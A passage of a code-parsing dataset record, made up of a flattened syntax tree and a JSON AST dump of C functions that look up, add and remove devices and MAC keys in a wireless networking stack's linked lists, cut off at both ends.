mac_key_t, list);" (assignment_expression) "key = ws_list_get_data(ptr, mac_key_t, list)" (identifier) "key" (=) "=" (call_expression) "ws_list_get_data(ptr, mac_key_t, list)" (identifier) "ws_list_get_data" (argument_list) "(ptr, mac_key_t, list)" (() "(" (identifier) "ptr" (,) "," (identifier) "mac_key_t" (,) "," (identifier) "list" ()) ")" (;) ";" (if_statement) "if (key->index == index)\n return key;" (if) "if" (parenthesized_expression) "(key->index == index)" (() "(" (binary_expression) "key->index == index" (field_expression) "key->index" (identifier) "key" (->) "->" (field_identifier) "index" (==) "==" (identifier) "index" ()) ")" (return_statement) "return key;" (return) "return" (identifier) "key" (;) ";" (}) "}" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (function_definition) "void\nmac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG("updating existing key (%u)\n", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }\n else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }\n\n WS_DEBUG("adding new key (%u)\n", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }\n}" (primitive_type) "void" (function_declarator) "mac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)" (identifier) "mac_device_set_key" (parameter_list) "(mac_device_t *dev, uint8_t index, uint8_t *key)" (() "(" (parameter_declaration) "mac_device_t *dev" (type_identifier) "mac_device_t" (pointer_declarator) "*dev" (*) "*" (identifier) "dev" (,) "," (parameter_declaration) "uint8_t index" (primitive_type) "uint8_t" (identifier) "index" (,) "," (parameter_declaration) "uint8_t *key" (primitive_type) "uint8_t" (pointer_declarator) "*key" (*) "*" (identifier) "key" ()) ")" (compound_statement) "{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG("updating existing key (%u)\n", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }\n else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }\n\n WS_DEBUG("adding new key (%u)\n", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }\n}" ({) "{" (declaration) "mac_key_t *k = mac_device_get_key(dev, index);" (type_identifier) "mac_key_t" (init_declarator) "*k = mac_device_get_key(dev, index)" (pointer_declarator) "*k" (*) "*" (identifier) "k" (=) "=" (call_expression) "mac_device_get_key(dev, index)" (identifier) "mac_device_get_key" (argument_list) "(dev, index)" (() "(" (identifier) "dev" (,) "," (identifier) "index" ()) ")" (;) ";" (if_statement) "if (k != NULL)\n {\n WS_DEBUG("updating existing key (%u)\n", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }\n else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }\n\n WS_DEBUG("adding new key (%u)\n", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }" (if) "if" (parenthesized_expression) "(k != NULL)" (() "(" (binary_expression) "k != NULL" (identifier) "k" (!=) "!=" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n WS_DEBUG("updating existing key (%u)\n", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }" ({) "{" (expression_statement) "WS_DEBUG("updating existing key (%u)\n", index);" (call_expression) "WS_DEBUG("updating existing key (%u)\n", index)" (identifier) "WS_DEBUG" (argument_list) "("updating existing key (%u)\n", index)" (() "(" (string_literal) ""updating existing key (%u)\n"" (") """ (string_content) "updating existing key (%u)" (escape_sequence) "\n" (") """ (,) "," (identifier) "index" ()) ")" (;) ";" (expression_statement) "memcpy(k->key, key, WS_MAC_KEY_LEN);" (call_expression) "memcpy(k->key, key, WS_MAC_KEY_LEN)" (identifier) "memcpy" (argument_list) "(k->key, key, WS_MAC_KEY_LEN)" (() "(" (field_expression) "k->key" (identifier) "k" (->) "->" (field_identifier) "key" (,) "," (identifier) "key" (,) "," (identifier) "WS_MAC_KEY_LEN" ()) ")" (;) ";" (expression_statement) "k->index = index;" (assignment_expression) "k->index = index" (field_expression) "k->index" (identifier) "k" (->) "->" (field_identifier) "index" (=) "=" (identifier) "index" (;) ";" (}) "}" (else_clause) "else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }\n\n WS_DEBUG("adding new key (%u)\n", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }" (else) "else" (compound_statement) "{\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }\n\n WS_DEBUG("adding new key (%u)\n", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }" ({) "{" (expression_statement) "k = (mac_key_t *)MALLOC(sizeof(mac_key_t));" (assignment_expression) "k = (mac_key_t *)MALLOC(sizeof(mac_key_t))" (identifier) "k" (=) "=" (cast_expression) "(mac_key_t *)MALLOC(sizeof(mac_key_t))" (() "(" (type_descriptor) "mac_key_t *" (type_identifier) "mac_key_t" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (call_expression) "MALLOC(sizeof(mac_key_t))" (identifier) "MALLOC" (argument_list) "(sizeof(mac_key_t))" (() "(" (sizeof_expression) "sizeof(mac_key_t)" (sizeof) "sizeof" (parenthesized_expression) "(mac_key_t)" (() "(" (identifier) "mac_key_t" ()) ")" ()) ")" (;) ";" (if_statement) "if (k == NULL)\n {\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }" (if) "if" (parenthesized_expression) "(k == NULL)" (() "(" (binary_expression) "k == NULL" (identifier) "k" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }" ({) "{" (expression_statement) "WS_ERROR("failed to allocate memory for new key\n");" (call_expression) "WS_ERROR("failed to allocate memory for new key\n")" (identifier) "WS_ERROR" (argument_list) "("failed to allocate memory for new key\n")" (() "(" (string_literal) ""failed to allocate memory for new key\n"" (") """ (string_content) "failed to allocate memory for new key" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (return_statement) "return;" (return) "return" (;) ";" (}) "}" (expression_statement) "WS_DEBUG("adding new key (%u)\n", index);" (call_expression) "WS_DEBUG("adding new key (%u)\n", index)" (identifier) "WS_DEBUG" (argument_list) "("adding new key (%u)\n", index)" (() "(" (string_literal) ""adding new key (%u)\n"" (") """ (string_content) "adding new key (%u)" (escape_sequence) "\n" (") """ (,) "," (identifier) "index" ()) ")" (;) ";" (expression_statement) "memcpy(k->key, key, WS_MAC_KEY_LEN);" (call_expression) "memcpy(k->key, key, WS_MAC_KEY_LEN)" (identifier) "memcpy" (argument_list) "(k->key, key, WS_MAC_KEY_LEN)" (() "(" (field_expression) "k->key" (identifier) "k" (->) "->" (field_identifier) "key" (,) "," (identifier) "key" (,) "," (identifier) "WS_MAC_KEY_LEN" ()) ")" (;) ";" (expression_statement) "k->index = index;" (assignment_expression) "k->index = index" (field_expression) "k->index" (identifier) "k" (->) "->" (field_identifier) "index" (=) "=" (identifier) "index" (;) ";" (expression_statement) "ws_list_add_after(&dev->key_list, &k->list);" (call_expression) "ws_list_add_after(&dev->key_list, &k->list)" (identifier) "ws_list_add_after" (argument_list) "(&dev->key_list, &k->list)" (() "(" (pointer_expression) "&dev->key_list" (&) "&" (field_expression) "dev->key_list" (identifier) "dev" (->) "->" (field_identifier) "key_list" (,) "," (pointer_expression) "&k->list" (&) "&" (field_expression) "k->list" (identifier) "k" (->) "->" (field_identifier) "list" ()) ")" (;) ";" (}) "}" (}) "}" (function_definition) "void\nmac_device_remove_key(mac_device_t *dev, uint8_t index)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG("removing key (%u)\n", index);\n ws_list_remove(&k->list);\n FREE(k);\n }\n else\n {\n WS_WARN("no key (%u) to remove\n", index);\n }\n}" (primitive_type) "void" (function_declarator) "mac_device_remove_key(mac_device_t *dev, uint8_t index)" (identifier) "mac_device_remove_key" (parameter_list) "(mac_device_t *dev, uint8_t index)" (() "(" (parameter_declaration) "mac_device_t *dev" (type_identifier) "mac_device_t" (pointer_declarator) "*dev" (*) "*" (identifier) "dev" (,) "," (parameter_declaration) "uint8_t index" (primitive_type) "uint8_t" (identifier) "index" ()) ")" (compound_statement) "{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG("removing key (%u)\n", index);\n ws_list_remove(&k->list);\n FREE(k);\n }\n else\n {\n WS_WARN("no key (%u) to remove\n", index);\n }\n}" ({) "{" (declaration) "mac_key_t *k = mac_device_get_key(dev, index);" (type_identifier) "mac_key_t" (init_declarator) "*k = mac_device_get_key(dev, index)" (pointer_declarator) "*k" (*) "*" (identifier) "k" (=) "=" (call_expression) "mac_device_get_key(dev, index)" (identifier) "mac_device_get_key" (argument_list) "(dev, index)" (() "(" (identifier) "dev" (,) "," (identifier) "index" ()) ")" (;) ";" (if_statement) "if (k != NULL)\n {\n WS_DEBUG("removing key (%u)\n", index);\n ws_list_remove(&k->list);\n FREE(k);\n }\n else\n {\n WS_WARN("no key (%u) to remove\n", index);\n }" (if) "if" (parenthesized_expression) "(k != NULL)" (() "(" (binary_expression) "k != NULL" (identifier) "k" (!=) "!=" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n WS_DEBUG("removing key (%u)\n", index);\n ws_list_remove(&k->list);\n FREE(k);\n }" ({) "{" (expression_statement) "WS_DEBUG("removing key (%u)\n", index);" (call_expression) "WS_DEBUG("removing key (%u)\n", index)" (identifier) "WS_DEBUG" (argument_list) "("removing key (%u)\n", index)" (() "(" (string_literal) ""removing key (%u)\n"" (") """ (string_content) "removing key (%u)" (escape_sequence) "\n" (") """ (,) "," (identifier) "index" ()) ")" (;) ";" (expression_statement) "ws_list_remove(&k->list);" (call_expression) "ws_list_remove(&k->list)" (identifier) "ws_list_remove" (argument_list) "(&k->list)" (() "(" (pointer_expression) "&k->list" (&) "&" (field_expression) "k->list" (identifier) "k" (->) "->" (field_identifier) "list" ()) ")" (;) ";" (expression_statement) "FREE(k);" (call_expression) "FREE(k)" (identifier) "FREE" (argument_list) "(k)" (() "(" (identifier) "k" ()) ")" (;) ";" (}) "}" (else_clause) "else\n {\n WS_WARN("no key (%u) to remove\n", index);\n }" (else) "else" (compound_statement) "{\n WS_WARN("no key (%u) to remove\n", index);\n }" ({) "{" (expression_statement) "WS_WARN("no key (%u) to remove\n", index);" (call_expression) "WS_WARN("no key (%u) to remove\n", index)" (identifier) "WS_WARN" (argument_list) "("no key (%u) to remove\n", index)" (() "(" (string_literal) ""no key (%u) to remove\n"" (") """ (string_content) "no key (%u) to remove" (escape_sequence) "\n" (") """ (,) "," (identifier) "index" ()) ")" (;) ";" (}) "}" (}) "}"
818
0
{"language": "c", "success": true, "metadata": {"lines": 148, "avg_line_length": 29.47, "nodes": 485, "errors": 0, "source_hash": "6fc27ea3c7b287f21abd75e0691f6bbcd54dee9bfeb436f1b5869323016505d9", "categorized_nodes": 349}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"mac_private.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"mac_private.h\"", "parent": 0, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 24}}, {"id": 3, "type": "preproc_if", "text": "#if 1\n#undef WS_DEBUG\n#define WS_DEBUG(...)\n#endif", "parent": null, "children": [4, 5, 6, 7, 10, 14], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 37, "column": 6}}, {"id": 4, "type": "#if", "text": "#if", "parent": 3, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 3}}, {"id": 5, "type": "number_literal", "text": "1", "parent": 3, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 5}}, {"id": 6, "type": "\n", "text": "\n", "parent": 3, "children": [], "start_point": {"row": 34, "column": 5}, "end_point": {"row": 35, "column": 0}}, {"id": 7, "type": "preproc_call", "text": "#undef WS_DEBUG\n", "parent": 3, "children": [8, 9], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 0}}, {"id": 8, "type": "preproc_directive", "text": "#undef", "parent": 7, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 6}}, {"id": 9, "type": "preproc_arg", "text": "WS_DEBUG", "parent": 7, "children": [], "start_point": {"row": 35, "column": 7}, "end_point": {"row": 35, "column": 15}}, {"id": 10, "type": "preproc_function_def", "text": "#define WS_DEBUG(...)\n", "parent": 3, "children": [11, 12, 13], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 37, "column": 0}}, {"id": 11, "type": "#define", "text": "#define", "parent": 10, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 7}}, {"id": 12, "type": "identifier", "text": "WS_DEBUG", "parent": 10, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 16}}, {"id": 13, "type": "preproc_params", "text": "(...)", "parent": 10, "children": [], "start_point": {"row": 36, "column": 16}, "end_point": {"row": 36, "column": 21}}, {"id": 14, "type": "#endif", "text": "#endif", "parent": 3, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 6}}, {"id": 15, "type": "function_definition", "text": "mac_device_t *\nmac_device_get_by_short(uint16_t short_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG(\"searching for %u\\n\", short_addr);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG(\"comparing to: %u\\n\", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }\n\n return NULL;\n}", "parent": null, "children": [16, 17], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 59, "column": 1}}, {"id": 16, "type": "type_identifier", "text": "mac_device_t", "parent": 15, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 12}}, {"id": 17, "type": "pointer_declarator", "text": "*\nmac_device_get_by_short(uint16_t short_addr)", "parent": 15, "children": [18, 19], "start_point": {"row": 40, "column": 13}, "end_point": {"row": 41, "column": 44}}, {"id": 18, "type": "*", "text": "*", "parent": 17, "children": [], "start_point": {"row": 40, "column": 13}, "end_point": {"row": 40, "column": 14}}, {"id": 19, "type": "function_declarator", "text": "mac_device_get_by_short(uint16_t short_addr)", "parent": 17, "children": [20, 21], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 44}}, {"id": 20, "type": "identifier", "text": "mac_device_get_by_short", "parent": 19, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 23}}, {"id": 21, "type": "parameter_list", "text": "(uint16_t short_addr)", "parent": 19, "children": [22], "start_point": {"row": 41, "column": 23}, "end_point": {"row": 41, "column": 44}}, {"id": 22, "type": "parameter_declaration", "text": "uint16_t short_addr", "parent": 21, "children": [23, 24], "start_point": {"row": 41, "column": 24}, "end_point": {"row": 41, "column": 43}}, {"id": 23, "type": "primitive_type", "text": "uint16_t", "parent": 22, "children": [], "start_point": {"row": 41, "column": 24}, "end_point": {"row": 41, "column": 32}}, {"id": 24, "type": "identifier", "text": "short_addr", "parent": 22, "children": [], "start_point": {"row": 41, "column": 33}, "end_point": {"row": 41, "column": 43}}, {"id": 25, "type": "declaration", "text": "ws_list_t *ptr;", "parent": 15, "children": [26, 27], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 19}}, {"id": 26, "type": "type_identifier", "text": "ws_list_t", "parent": 25, "children": [], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 13}}, {"id": 27, "type": "pointer_declarator", "text": "*ptr", "parent": 25, "children": [28, 29], "start_point": {"row": 43, "column": 14}, "end_point": {"row": 43, "column": 18}}, {"id": 28, "type": "*", "text": "*", "parent": 27, "children": [], "start_point": {"row": 43, "column": 14}, "end_point": {"row": 43, "column": 15}}, {"id": 29, "type": "identifier", "text": "ptr", "parent": 27, "children": [], "start_point": {"row": 43, "column": 15}, "end_point": {"row": 43, "column": 18}}, {"id": 30, "type": "declaration", "text": "mac_device_t *dev;", "parent": 15, "children": [31, 32], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 44, "column": 22}}, {"id": 31, "type": "type_identifier", "text": "mac_device_t", "parent": 30, "children": [], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 44, "column": 16}}, {"id": 32, "type": "pointer_declarator", "text": "*dev", "parent": 30, "children": [33, 34], "start_point": {"row": 44, "column": 17}, "end_point": {"row": 44, "column": 21}}, {"id": 33, "type": "*", "text": "*", "parent": 32, "children": [], "start_point": {"row": 44, "column": 17}, "end_point": {"row": 44, "column": 18}}, {"id": 34, "type": "identifier", "text": "dev", "parent": 32, "children": [], "start_point": {"row": 44, "column": 18}, "end_point": {"row": 44, "column": 21}}, {"id": 35, "type": "call_expression", "text": "WS_DEBUG(\"searching for %u\\n\", short_addr)", "parent": 15, "children": [36, 37], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 46}}, {"id": 36, "type": "identifier", "text": "WS_DEBUG", "parent": 35, "children": [], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 12}}, {"id": 37, "type": "argument_list", "text": "(\"searching for %u\\n\", short_addr)", "parent": 35, "children": [38, 40], "start_point": {"row": 46, "column": 12}, "end_point": {"row": 46, "column": 46}}, {"id": 38, "type": "string_literal", "text": "\"searching for %u\\n\"", "parent": 37, "children": [39], "start_point": {"row": 46, "column": 13}, "end_point": {"row": 46, "column": 33}}, {"id": 39, "type": "escape_sequence", "text": "\\n", "parent": 38, "children": [], "start_point": {"row": 46, "column": 30}, "end_point": {"row": 46, "column": 32}}, {"id": 40, "type": "identifier", "text": "short_addr", "parent": 37, "children": [], "start_point": {"row": 46, "column": 35}, "end_point": {"row": 46, "column": 45}}, {"id": 41, "type": "for_statement", "text": "for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG(\"comparing to: %u\\n\", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }", "parent": 15, "children": [42, 50, 57], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 56, "column": 5}}, {"id": 42, "type": "assignment_expression", "text": "ptr = mac.device_list.next", "parent": 41, "children": [43, 44, 45], "start_point": {"row": 48, "column": 9}, "end_point": {"row": 48, "column": 35}}, {"id": 43, "type": "identifier", "text": "ptr", "parent": 42, "children": [], "start_point": {"row": 48, "column": 9}, "end_point": {"row": 48, "column": 12}}, {"id": 44, "type": "=", "text": "=", "parent": 42, "children": [], "start_point": {"row": 48, "column": 13}, "end_point": {"row": 48, "column": 14}}, {"id": 45, "type": "field_expression", "text": "mac.device_list.next", "parent": 42, "children": [46, 49], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 35}}, {"id": 46, "type": "field_expression", "text": "mac.device_list", "parent": 45, "children": [47, 48], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 30}}, {"id": 47, "type": "identifier", "text": "mac", "parent": 46, "children": [], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 18}}, {"id": 48, "type": "field_identifier", "text": "device_list", "parent": 46, "children": [], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 30}}, {"id": 49, "type": "field_identifier", "text": "next", "parent": 45, "children": [], "start_point": {"row": 48, "column": 31}, "end_point": {"row": 48, "column": 35}}, {"id": 50, "type": "binary_expression", "text": "ptr != &mac.device_list", "parent": 41, "children": [51, 52, 53], "start_point": {"row": 49, "column": 9}, "end_point": {"row": 49, "column": 32}}, {"id": 51, "type": "identifier", "text": "ptr", "parent": 50, "children": [], "start_point": {"row": 49, "column": 9}, "end_point": {"row": 49, "column": 12}}, {"id": 52, "type": "!=", "text": "!=", "parent": 50, "children": [], "start_point": {"row": 49, "column": 13}, "end_point": {"row": 49, "column": 15}}, {"id": 53, "type": "pointer_expression", "text": "&mac.device_list", "parent": 50, "children": [54], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 49, "column": 32}}, {"id": 54, "type": "field_expression", "text": "mac.device_list", "parent": 53, "children": [55, 56], "start_point": {"row": 49, "column": 17}, "end_point": {"row": 49, "column": 32}}, {"id": 55, "type": "identifier", "text": "mac", "parent": 54, "children": [], "start_point": {"row": 49, "column": 17}, "end_point": {"row": 49, "column": 20}}, {"id": 56, "type": "field_identifier", "text": "device_list", "parent": 54, "children": [], "start_point": {"row": 49, "column": 21}, "end_point": {"row": 49, "column": 32}}, {"id": 57, "type": "assignment_expression", "text": "ptr = ptr->next", "parent": 41, "children": [58, 59, 60], "start_point": {"row": 50, "column": 9}, "end_point": {"row": 50, "column": 24}}, {"id": 58, "type": "identifier", "text": "ptr", "parent": 57, "children": [], "start_point": {"row": 50, "column": 9}, "end_point": {"row": 50, "column": 12}}, {"id": 59, "type": "=", "text": "=", "parent": 57, "children": [], "start_point": {"row": 50, "column": 13}, "end_point": {"row": 50, "column": 14}}, {"id": 60, "type": "field_expression", "text": "ptr->next", "parent": 57, "children": [61, 62], "start_point": {"row": 50, "column": 15}, "end_point": {"row": 50, "column": 24}}, {"id": 61, "type": "identifier", "text": "ptr", "parent": 60, "children": [], "start_point": {"row": 50, "column": 15}, "end_point": {"row": 50, "column": 18}}, {"id": 62, "type": "field_identifier", "text": "next", "parent": 60, "children": [], "start_point": {"row": 50, "column": 20}, "end_point": {"row": 50, "column": 24}}, {"id": 63, "type": "assignment_expression", "text": "dev = ws_list_get_data(ptr, mac_device_t, list)", "parent": 41, "children": [64, 65, 66], "start_point": {"row": 52, "column": 8}, "end_point": {"row": 52, "column": 55}}, {"id": 64, "type": "identifier", "text": "dev", "parent": 63, "children": [], "start_point": {"row": 52, "column": 8}, "end_point": {"row": 52, "column": 11}}, {"id": 65, "type": "=", "text": "=", "parent": 63, "children": [], "start_point": {"row": 52, "column": 12}, "end_point": {"row": 52, "column": 13}}, {"id": 66, "type": "call_expression", "text": "ws_list_get_data(ptr, mac_device_t, list)", "parent": 63, "children": [67, 68], "start_point": {"row": 52, "column": 14}, "end_point": {"row": 52, "column": 55}}, {"id": 67, "type": "identifier", "text": "ws_list_get_data", "parent": 66, "children": [], "start_point": {"row": 52, "column": 14}, "end_point": {"row": 52, "column": 30}}, {"id": 68, "type": "argument_list", "text": "(ptr, mac_device_t, list)", "parent": 66, "children": [69, 70, 71], "start_point": {"row": 52, "column": 30}, "end_point": {"row": 52, "column": 55}}, {"id": 69, "type": "identifier", "text": "ptr", "parent": 68, "children": [], "start_point": {"row": 52, "column": 31}, "end_point": {"row": 52, "column": 34}}, {"id": 70, "type": "identifier", "text": "mac_device_t", "parent": 68, "children": [], "start_point": {"row": 52, "column": 36}, "end_point": {"row": 52, "column": 48}}, {"id": 71, "type": "identifier", "text": "list", "parent": 68, "children": [], "start_point": {"row": 52, "column": 50}, "end_point": {"row": 52, "column": 54}}, {"id": 72, "type": "call_expression", "text": "WS_DEBUG(\"comparing to: %u\\n\", dev->addr.short_addr)", "parent": 41, "children": [73, 74], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 60}}, {"id": 73, "type": "identifier", "text": "WS_DEBUG", "parent": 72, "children": [], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 16}}, {"id": 74, "type": "argument_list", "text": "(\"comparing to: %u\\n\", dev->addr.short_addr)", "parent": 72, "children": [75, 77], "start_point": {"row": 53, "column": 16}, "end_point": {"row": 53, "column": 60}}, {"id": 75, "type": "string_literal", "text": "\"comparing to: %u\\n\"", "parent": 74, "children": [76], "start_point": {"row": 53, "column": 17}, "end_point": {"row": 53, "column": 37}}, {"id": 76, "type": "escape_sequence", "text": "\\n", "parent": 75, "children": [], "start_point": {"row": 53, "column": 34}, "end_point": {"row": 53, "column": 36}}, {"id": 77, "type": "field_expression", "text": "dev->addr.short_addr", "parent": 74, "children": [78, 81], "start_point": {"row": 53, "column": 39}, "end_point": {"row": 53, "column": 59}}, {"id": 78, "type": "field_expression", "text": "dev->addr", "parent": 77, "children": [79, 80], "start_point": {"row": 53, "column": 39}, "end_point": {"row": 53, "column": 48}}, {"id": 79, "type": "identifier", "text": "dev", "parent": 78, "children": [], "start_point": {"row": 53, "column": 39}, "end_point": {"row": 53, "column": 42}}, {"id": 80, "type": "field_identifier", "text": "addr", "parent": 78, "children": [], "start_point": {"row": 53, "column": 44}, "end_point": {"row": 53, "column": 48}}, {"id": 81, "type": "field_identifier", "text": "short_addr", "parent": 77, "children": [], "start_point": {"row": 53, "column": 49}, "end_point": {"row": 53, "column": 59}}, {"id": 82, "type": "if_statement", "text": "if (dev->addr.short_addr == short_addr)\n return dev;", "parent": 41, "children": [83, 92], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 55, "column": 23}}, {"id": 83, "type": "parenthesized_expression", "text": "(dev->addr.short_addr == short_addr)", "parent": 82, "children": [84], "start_point": {"row": 54, "column": 11}, "end_point": {"row": 54, "column": 47}}, {"id": 84, "type": "binary_expression", "text": "dev->addr.short_addr == short_addr", "parent": 83, "children": [85, 90, 91], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 46}}, {"id": 85, "type": "field_expression", "text": "dev->addr.short_addr", "parent": 84, "children": [86, 89], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 32}}, {"id": 86, "type": "field_expression", "text": "dev->addr", "parent": 85, "children": [87, 88], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 21}}, {"id": 87, "type": "identifier", "text": "dev", "parent": 86, "children": [], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 15}}, {"id": 88, "type": "field_identifier", "text": "addr", "parent": 86, "children": [], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 21}}, {"id": 89, "type": "field_identifier", "text": "short_addr", "parent": 85, "children": [], "start_point": {"row": 54, "column": 22}, "end_point": {"row": 54, "column": 32}}, {"id": 90, "type": "==", "text": "==", "parent": 84, "children": [], "start_point": {"row": 54, "column": 33}, "end_point": {"row": 54, "column": 35}}, {"id": 91, "type": "identifier", "text": "short_addr", "parent": 84, "children": [], "start_point": {"row": 54, "column": 36}, "end_point": {"row": 54, "column": 46}}, {"id": 92, "type": "return_statement", "text": "return dev;", "parent": 82, "children": [93], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 23}}, {"id": 93, "type": "identifier", "text": "dev", "parent": 92, "children": [], "start_point": {"row": 55, "column": 19}, "end_point": {"row": 55, "column": 22}}, {"id": 94, "type": "return_statement", "text": "return NULL;", "parent": 15, "children": [95], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 58, "column": 16}}, {"id": 95, "type": "null", "text": "NULL", "parent": 94, "children": [96], "start_point": {"row": 58, "column": 11}, "end_point": {"row": 58, "column": 15}}, {"id": 96, "type": "NULL", "text": "NULL", "parent": 95, "children": [], "start_point": {"row": 58, "column": 11}, "end_point": {"row": 58, "column": 15}}, {"id": 97, "type": "function_definition", "text": "mac_device_t *\nmac_device_get_by_extended(uint8_t *extended_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG(\"Searching for %r\\n\", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG(\"comparing to: %r\\n\", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }\n\n return NULL;\n}", "parent": null, "children": [98, 99], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 84, "column": 1}}, {"id": 98, "type": "type_identifier", "text": "mac_device_t", "parent": 97, "children": [], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 62, "column": 12}}, {"id": 99, "type": "pointer_declarator", "text": "*\nmac_device_get_by_extended(uint8_t *extended_addr)", "parent": 97, "children": [100, 101], "start_point": {"row": 62, "column": 13}, "end_point": {"row": 63, "column": 50}}, {"id": 100, "type": "*", "text": "*", "parent": 99, "children": [], "start_point": {"row": 62, "column": 13}, "end_point": {"row": 62, "column": 14}}, {"id": 101, "type": "function_declarator", "text": "mac_device_get_by_extended(uint8_t *extended_addr)", "parent": 99, "children": [102, 103], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 